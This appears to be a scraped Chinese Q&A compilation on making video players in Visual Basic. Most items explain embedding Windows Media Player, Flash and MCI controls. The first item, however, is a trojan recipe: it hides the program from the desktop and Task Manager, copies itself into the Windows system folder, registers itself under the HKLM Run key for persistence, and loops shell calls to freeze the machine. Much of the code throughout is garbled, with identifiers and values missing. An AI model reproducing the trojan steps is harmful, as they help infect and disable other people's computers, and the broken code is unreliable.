1、用VB怎么制作简单的木马视频

   开B 第一步，隐藏一下我们的小东西！ 把isible 设为False，这样开程序，在桌面会看不到。 加入代码 = False 这样就在任务管理器中隐藏了。 第二步，写入自我复制代码 Dim f As String f = & "\" & & ".exe" d = "C:\WINDOWS\SYSTEM\" '，随便改。 FileCopy f, d 第三步，实现开机启动。 Set wsh = CreateObject("") "HKLM\Software\Microft\Windows\Currentersion\Run\xiaochouwanju", "C:\WINDOWS\SYSTEM\" '。 加入这些代码就在注册表内让开机启动C:\WINDOWS\SYSTEM\，呵呵 第四步 让机器死机 Do shell "" loop

2、可以用VB编写一个上传视频的软件吗

   建议你找上传邮件（带附件）的B程序看下，你会得到灵感，因为这类的软件网上很多。希望能帮到你！ 你可以用c语言写dll，在vb中调用。

3、怎么在VB中插入视频

   Ctrl T 在弹出的对话框中 控件——选中“Windows Media Player”项 应用 在工具栏新出现一个控件图标 新建此控件 使用如下： ＝＝＝＝＝＝＝＝＝＝WindowsMediaPlayer的常用属性和方法＝＝＝＝＝＝＝＝＝＝＝ [基本属性] URL:string 可以指定媒体位置 enableContextMenu:Boolean 显示/不显示播放位置的右键菜单 fullScreen:boolean 全屏显示 stretchToFit:boolean 非全屏状态时是否伸展到最佳大小 uMode:string 播放器的模式，full：有下面的控制条; none：只有播放部份没有控制条 playState:integer 当前控件状态，下面是三种基本状态： 3：正在播放 2：暂停 1：已停止 状态变化时会触发OnStatusChange事件 [controls] ： ; 播放 ; 停止 ; 暂停 ：Double 当前播放进度 ：string 时间格式的字符串 "" [currentMedia] Double 总长度 时间格式的字符串 "" [settings] ，包括音量和声道等。 音量 （0） 声道，通过它应该可以进行立体声、左声道、右声道的控制。 既然把播放器嵌入桌面不容易做到,那我们换一个思路: 在鼠标和键盘发生事件事,用showwindow隐藏播放器(别急,不是你想的那样听我说),把焦点给上一个获得焦点的窗体或是桌面,这段时间内鼠标和键盘件事应该是被阻止的,所以要用到StartMaskKey,但我们的目的不是真正阻止事件,只是暂时的,阻止的事就交给DLL去,只要没有返回值DLL就不会让event发生,所以我们要用到AdressOf 进行函数回调,因为回调函数后,焦点是在操作去,所以你的操作将与平常没什么区别 继续,然后再用timer控件检查鼠标和键盘的发生,若没有事件就马上显示播放器并前置 这样,只要你的电脑足够快,其间的闪烁人眼是发觉不了的,一般配置的估计会闪一下,不会有很大问题的,N年前的古董的话,想都别想了... 下面是主要程序的代码提示,看看,基本就是用这个来扩展了: '在窗体上添加2个CommandButton，并分别改名为cmdStartMask和cmdStopMask） Option Explicit Private Declare Function StartMaskKey Lib "MaskKey" (lpdwirtualKey As Long, Byal nLength As Long, Byal lpfnKeyboarProc As Long, Optional Byal bDisableKeyboard As Boolean = False) As Long Private Declare Function StopMaskKey Lib "MaskKey" () As Long Private Sub cmdStartMask_Click() ' 屏蔽 A, B, C, 上, 下, 左, 右及两个win键 Dim key(8) As Long key(0) = vbKeyA key(1) = vbKeyB key(2) = vbKeyC key(3) = vbKeyLeft key(4) = vbKeyRight key(5) = vbKeyUp key(6) = vbKeyDown key(7) = &H5B ' 左边的win键 key(8) = &H5C ' 右边的win键 StartMaskKey key(0), UBound(key) 1, AddressOf KeyboardProc End Sub Private Sub cmdStopMask_Click() StopMaskKey End Sub 窗体模块的代码和以前的例程几乎一样，只是在调用StartMaskKey函数时加了一个参数：AddressOf KeyboardProc。在B中用过回调函数的人对这东西绝不会陌生，AddressOf是一个一运算符，后面接一个函数名，它的功能就是获得指定函数的指针。但有一点必须注意，该回调函数（此例中为KeyboardProc）必须写在B的标准模块中，标准模块的代码如下： Option Explicit Private Const WM_KEYDOWN = &H Private Const WM_KEYUP = &H Private Const WM_SYSKEYDOWN = &H Private Const WM_SYSKEYUP = &H Public Type KBDLLHOOKSTRUCT vkCode As Long ' 虚拟按键码() scanCode As Long ' 硬件按键扫描码 flags As Long ' flags time As Long ' 消息时间戳 dwExtraInfo As Long ' 额外信息 End Type Public Enum KEYACTION ACTION_KEYDOWN = WM_KEYDOWN ACTION_KEYUP = WM_KEYUP ACTION_SYSKEYDOWN = WM_SYSKEYDOWN ACTION_SYSKEYUP = WM_SYSKEYUP End Enum ' 全局键盘钩子回调函数 ' 参数: action 标识键盘消息(按下,弹起), keyStruct 包含按键信息 Public Function KeyboardProc(Byal action As KEYACTION, keyStruct As KBDLLHOOKSTRUCT) As Boolean Select Case action Case ACTION_KEYDOWN , "按下键盘按键" Case ACTION_KEYUP , "弹起键盘按键" Case ACTION_SYSKEYDOWN Case ACTION_SYSKEYUP End Select ' 返回 True 表示继续传递按键消息 ' 返回 False 表示结束按键消息传递 KeyboardProc = False End Function ' 这个B标准模块中的KeyboardProc有没有点MFC消息映射函数的味道呢？！需要注意的是，B的回调函数必须写在标准模块中。细心的人还可能会发现，我对action参数作了一点小手脚，改成了一个枚举类型，这主要是为了易于理解。 工程→控件→windowsmediaplayer 引用后左边控件列表中会多出一个东西，点它，在屏幕上画个框，mediaplayer就到屏幕上啦 接下来，制作文件开工具 放置 drive1 dir1 file1 三个控件。把file1的pattern属性设为*.wma 然后写入如下代码 private sub dir1_change() = end sub private sub drive1_change() = end sub private sub file1_click() = & "\" & end sub url是文件的路径，你也可以抛弃那三个控件，直接指定一个文件 至于视频嘛，也一样，可以放一mand1 caption属性设为"视频" private submand1_click() "*.avi" end sub 为了能改回来，放一mand2 caption属性设为"音频" private submand2_click() "*.wma" end sub 附加：全屏法： 放一mand3 caption属性设为"全屏" private submand3_click() end sub 因为回答有很多字符一样 不给贴上但是在这个网页里有回答 希望满意

4、VB做个视频播放器程序代码

   在工程部件，开如图对话框选择如下“windows media player” 后点“确定” 累死我了，我把我的代码找了出来，这可是我的功劳哦！ 播放flash需要添加： shockwave flash 控件 添加后在窗体上画出屏幕 需要一句代码： "flash文件路径"'你可配mondialog控件来选择文件！ flash 实例： 需要ShockwaveFlash一个，两mand Private Sub Command1_Click() = & "\" '读取同一目录下的Flash动画文件 = False End Sub Private Sub Command2_Click() If = "暂停" Then = False '停止动画 = "继续" Else = True '继续动画 = "暂停" End If End Sub 播放avi,rmvb 需要 microft multimedia control 控件，实例代码如下，给你个教程，认真点，可以做出来的！ 媒体播放器控件（MCI）可以播放音频和视频，也就是音乐和影碟。 在 D:盘根目录下新建一个文件夹，名字改为music，里面拷入三个音乐文件，一个Wav文件重命名为one，另一个Mp3文件，重命名为two，再将第十课中的thr视频文件拷贝进去，这是一个Avi文件。 启动B，修改好窗体的各个属性，再添加一个标签，将Caption改为“我的播放器”。 MCI控件要自己添加到工具箱中，方法是在工具箱上单击鼠标右键，选择“部件”在对话框中找到Microft Multimeia 上勾选中，再单击“确定”这样在工具箱中就加入了多媒体控件MMControl。 在工具箱里找到MMControl控件（最后一个），选中后在窗体上画一个，可以发现跟我们常见的设备符一样，有播放、停止、暂停、快进、弹碟等等。以“音乐播放器”为文件名保存文件到自己的文件夹。 现在播放器是虚的，还要设置一下显示属性，用鼠标右键单击窗体中的多媒体控件，在弹出的菜单中选择“属性”，在弹出的对话框顶端选择“控件”标签，将各个按钮符旁边的有效选中上勾，单击“确定”回到窗体中，这时候控件就可以使用了。 单击启动按钮运行一下，窗口中的播放器还是虚的，这是因为还没有要播放的文件。 关闭程序回到窗体窗口，添加一个框架Fram1，向里面添加三个单选按钮Option，分别设置Caption为Wav，Mp3和Avi，再修改好背景色。 下面我们来添加代码开播放器，播放一个指定的文件，双击窗体，添加代码到Form_Load()过程中初始化播放器： '不返回播放信息 '播放时其他人等待 在代码窗口的顶部左边的列表中选择Option1，右边自动选择Click，在弹出的Option_Click()过程中添加播放Wav的代码： = "close" '先关闭播放器 = "Waveaudio" 'Wav音频格式 = "d:\music\" ' = "open" '开设备 = "play" '播放文件 各行代码的作用，在后面的绿色注释中讲到，最后一句用来自动播放，相当于单击播放器的“播放”按钮，播放时必须要有文件名和播放命令。 同样找到Option2的Click()过程，添加播放MP3的代码： = "close" '先关闭播放器 = "" '其他类型 = "d:\music\" ' = "open" '开设备 = "play" '也可以点击播放按钮 这里的Mp3格式是压缩格式属于其他类型，别的跟Wav文件相同，都是声音文件，没有图像只有音乐。 注意Option3有些不同，它是Avi视频格式，也就是既有声音还有图像，它的Click()代码为： = "close" '先关闭播放器 = "Aviideo" 'Avi视频格式 = '用背景窗体当屏幕 = "d:\music\" ' = "open" '开设备 = "play" '也可以点击播放按钮 这儿第三行代码是让视频图像显示在背景中，也可以添加一个图片框，把Form:3 或者:9。 检查一遍代码，注意中英文和标点符以及大小写的正确性。保存一下文件 单击“启动”按钮运行程序，点击不同的格式文件来播放音乐，看看我们的多媒体播放器强大的功能，注意重复播放时要倒带子，单击“倒带”然后再播放就重新播放了，退出前一定要关闭设备也就是“close”命令。 整个代码为： Private Sub Command1_Click() '退出程序 = "close" '关闭播放器设备 = True '允许别人使用播放器 End End Sub Private Sub Form_DblClick()'双击退出 = "close" '关闭播放器 = True End End Sub Private Sub Form_Load() = False '不返回播放信息 = True '播放时其他人稍等 End Sub Private Sub Form_Unload(Cancel As Integer) '关闭窗口 = "close" '关闭播放器 = True End Sub Private Sub Option1_Click() = "close" '先关闭播放器 = "Waveaudio" 'Wav音频格式 = "d:\music\" '文件夹中的文件 = "open" '开设备 = "play" '播放文件 End Sub Private Sub Option2_Click() = "close" '先关闭播放器 = "" '其他类型 = "d:\music\" '当前文件夹中的文件 = "open" '开设备 = "play" '也可以点击播放按钮 End Sub Private Sub Option3_Click() = "close" '先关闭播放器 = "Aviideo" 'Avi视频格式 = '用背景窗体当屏幕 ="d:\music\" '文件夹中的文件 = "open" '开设备 = "play" '也可以点击播放按钮 End Sub

5、vb制作视频播放器

   按钮1： 按钮2： mqyshop@ 有个属性，好像是full，在事件里面改变就可以了。就是满屏的意思。

6、VB制作本地视频播放器

   你是初学者，那么不妨直接使用WindowsMediaPlayer控件，视频音频的播放全都交给它来完成。你自己只需写一些用来控制这个控件的代码即可。 添加这个控件的方法： 在控件工具栏的空白处点右键，选择部件，在里面找到Windows Media Player，上勾，点确定。 在窗体上画出这个控件。想要设置这个控件，就在你画出的这个控件上点右键，点属性。最后运行一下，你就会明白不少东西，在这里我就不多说了…，现在差的就是如何让自己画的控件(如Command1按钮)来控制这个WindowsMediaPlayer控件，这里我举些简单的例子，比如画三个按扭，分别是播放、暂停、停止。 那么播放按钮中的代码是 暂停中的是 停止中的是 怎么样，很好理解吧，想知道更多的方法，在文库里搜一下“WindowsMediaPlayer控件用法”即可，这里不下了，不懂可以追问，希望能帮到你。